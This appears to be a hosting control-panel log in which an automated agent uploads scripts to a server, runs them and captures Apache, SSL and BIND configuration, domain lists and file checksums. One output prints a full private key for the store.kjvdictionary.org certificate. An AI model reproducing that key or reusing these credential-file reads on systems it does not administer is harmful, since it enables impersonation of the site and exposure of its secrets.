         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-01 06:00:10: 

PUT: /tmp/pkp265780

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_store_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-01 06:00:10: 

chmod 755 /tmp/pkp265780; /tmp/pkp265780; rm /tmp/pkp265780

2026-02-01 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf	1264

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-01 06:00:10: 

PUT: /tmp/pkp871111

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-01 06:00:10: 

chmod 755 /tmp/pkp871111; /tmp/pkp871111; rm /tmp/pkp871111

2026-02-01 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt	5385
e8:a0:9c:b9:67:c6:e4:6b:bc:77:4d:2d:69:6e:20:94

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBWmlyshWOcWh+UzLV2G7W2ZyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAxMDUwMTM3WhcNMjYwNTAyMDUwMTM2WjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMkTlQwAhlHUBvJYKvVKp52JZioSpwlMCPdLHtNvNFpXtb59H6Kb
5yiE4bM6eEVemrPOqZMkJ2pM0NePfkRUZGeb12aQ7paGiDslR7BHHd6dWLHBD1qa
gGE6HbUFvCs8KhOOuFSdXUCFdBLtC+36O+7EudIe62F0k/f5lTOz/e/jPEV/7MU0
KrPHkj3+vrJVWwtc0At5b4nlJgRSFyWaAIEdlHDJXLnncxJyXkCHl7jJ22ImkVTU
oudmWImaAJgYY/sN0z7eIPuXHDMnAarBGvNvya3fEmVu5uxsalrwNuzfQHNcm3zE
kwfODi3yNNMKJOyEpHXRX/fzWjShCz4w7wUCAwEAAaOCAjAwggIsMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUJ4VOLpCEOgYcJU9dgJmuKui0/nUwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdzdG9yZS5ranZk
aWN0aW9uYXJ5Lm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSg
IqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggEMBgorBgEEAdZ5
AgQCBIH9BIH6APgAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAA
AZwXyYJWAAAEAwBHMEUCICxgKdXL++eEkMIXVrTJ1Uf0pMkDAt3o12Qk5vb3nEyv
AiEA19p7eYSh3uIUH7SwlycNBcsDWvbS8UW0Q4Nrd2ev4doAfgDjI43yjaKI4Krg
rPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZwXyYRMAAgAAAUAMSOTyAQDAEcwRQIh
AP2UxKJ4/sWC2Y9U9wYyZxIMX/hI3FYrtN96dtemSIb+AiBfgpht5FyhNj/5ZbY3
LF/4a3OqqN95mHjIvWnGo9kytzANBgkqhkiG9w0BAQsFAAOCAQEAlLTYcsBvE7l8
BOxXC8VQ74S8qV9/vLBCEHMxHU9xkjU4ebgRTgJHdLJjbhbd7MAv4kvRlSV5/PP0
vanNc+iQTCrCFcgc7bY0zlqRZbA6k3Rt4miKUn/RpD6K8Bud+zSGo4IwW+B69i96
VwBatH0I1rqI1WKF3K8YUCwFQFLwO2ahurVE69xE8CCUUwjEmffqu99aK9OoX0WM
buNw4vWc3hrRmpK4xK6XZiRPZ5Jhg5j0SKftZ7ADC57wyUxVobaZ9W8UXrqCeX4A
wAZAWe/8Rsm9uDJZ0IaEFBtLzH2r5dbmxX1ilwc5LbG/bIiVCWm7MgaRWFn33C2f
eFaZibX6DQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDJE5UMAIZR1Aby
WCr1SqediWYqEqcJTAj3Sx7TbzRaV7W+fR+im+cohOGzOnhFXpqzzqmTJCdqTNDX
j35EVGRnm9dmkO6Whog7JUewRx3enVixwQ9amoBhOh21BbwrPCoTjrhUnV1AhXQS
7Qvt+jvuxLnSHuthdJP3+ZUzs/3v4zxFf+zFNCqzx5I9/r6yVVsLXNALeW+J5SYE
UhclmgCBHZRwyVy553MScl5Ah5e4ydtiJpFU1KLnZliJmgCYGGP7DdM+3iD7lxwz
JwGqwRrzb8mt3xJlbubsbGpa8Dbs30BzXJt8xJMHzg4t8jTTCiTshKR10V/381o0
oQs+MO8FAgMBAAECggEAHSKRPiP1UnX+a68Kym/+yXzXKNF7EoXJ5ssjtE8wrsZ2
txs6Mj2UyPI4IdgfBS4oDFWtjHx4mZZ3zEQmb5Aq3DhghaQKbhUgODG2qXwkf9Uc
vOTUbLRmVbAuDcS+9yTIk/ziCKCkmmy73OIsEFdpx7cJlcCVKpHRvuSTEeLKsK9i
ZdqeZcvpV196dlzPdHN8F1oTsjXVWRoIsBDNVlp1u1Y4uOdZpYmb3BdVMiDr8TtJ
Cn6Q55BZFibdQCm/Wp3PkZ7b3UvG1uS2YTdwS7AIupRZFx++6orXZ5TCqmdUwyiY
9cjcSG0EUgwjz7xmwTcakYKV8eXIR8yx2GVRNXB7AQKBgQD0aO1yL8j8I6psfa7O
++m63yuynFxLkphTMnBlG6jO2NXNVQp/Gj6yRdqJXaoGNo8YgVOmlQe6Z9KWjEf5
1uIaX89M+FYrdcgumvEkx8qLSJe2h1QSz9XgQKYpGPA+EsPeLfQKXn4OMB+vIn/s
gj1lTR9o1sEPvUlTga7PdX6ATQKBgQDSnJlEAg3R87svFU5FFXOXQPIOpyWQQs0Z
SYnFsANqcBmD187Bq6YgnlqL806hoDp7+5PZi8pNeOSKzeZrkg6Lnd/pzYzO2Ied
a9db1O+Ka7tKsyMZL/hMssd9BVfFq88kM6ypq4ENmjPttq618Ks3u/DJMgzN0Gun
PFm2NcfFmQKBgQCQTZtT/c6mv9AReitJ3gZj5PwB2rvLiuQQywj9SVVjuzaQoxMt
dCtsSj37OKf4PyJBj6n6AqercT0u0eh1JGAevk7A3SbTRhlJGwYhdyypC9U3WbNT
4A4g90qjnSvLGn02ot8heCTo75TlbHMnCsaBFwXiellGl7XBbiHuLyrfSQKBgFMP
O0qc3MJuMuYQqvuHyDxgepXYyXGpRqWwYMs77Tzu1MEwPPQYM74tdVw4KkyHmkkH
IHntLW18PfWX2kWWJnJdYs8cJ2nz7xfgTeCDi6y1a/m7yB3I0028O/xMPR9R8LFA
R9nqL00kAVLAdwp9zah/UCioum/4wFwF6wN3FkARAoGBAJbKivUgnjwrs6SZ6a95
qZDAYL93lMKwMUsIWkPMhcneyfesAOkC2Tg64SadK7WmE2OWM/DGAEDPdrQoWlUc
16y4DnF4EiSPQAE4d/7FR0lIMGP9zTic4M8LzKgX2NNhp/RcNiV37co1s6G+Csfp
AIRLhFujsQ9Jd9mhLbOEEaXG
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-01 06:00:10: Establishing a remote connection
2026-02-01 12:19:11: Establishing a connection
2026-02-01 12:19:19: Establishing a connection
2026-02-01 12:19:19: 

PUT: /tmp/pkp176174

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 12:19:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp176174; rm /tmp/pkp176174'

2026-02-01 12:19:20: 
2026-02-01 12:19:20: 

PUT: /tmp/pkp452557

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf')
    show_file('/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-01 12:19:20: 

chmod 755 /tmp/pkp452557; /tmp/pkp452557; rm /tmp/pkp452557

2026-02-01 12:19:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	5048
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
include "3d53240606bf6359dd62d3ebf20afc18.conf"; # patientapps.com


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf	251
# this is an automatically created file: manual changes will be overwritten.
zone "patientapps.com" IN {
  ##owner 0;
  type master;
  file "3d53240606bf6359dd62d3ebf20afc18.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt	439
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
patientapps.com.         		 IN    SOA      	patientapps.com. hostmaster.patientapps.com. ( 133978266 14400 3600 14400 3600 )
patientapps.com.         		 IN    NS       	ns1.hostz.org.
patientapps.com.         		 IN    NS       	ns2.hostz.org.
patientapps.com.          60	 IN    A        	94.177.9.99
www.patientapps.com.      60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
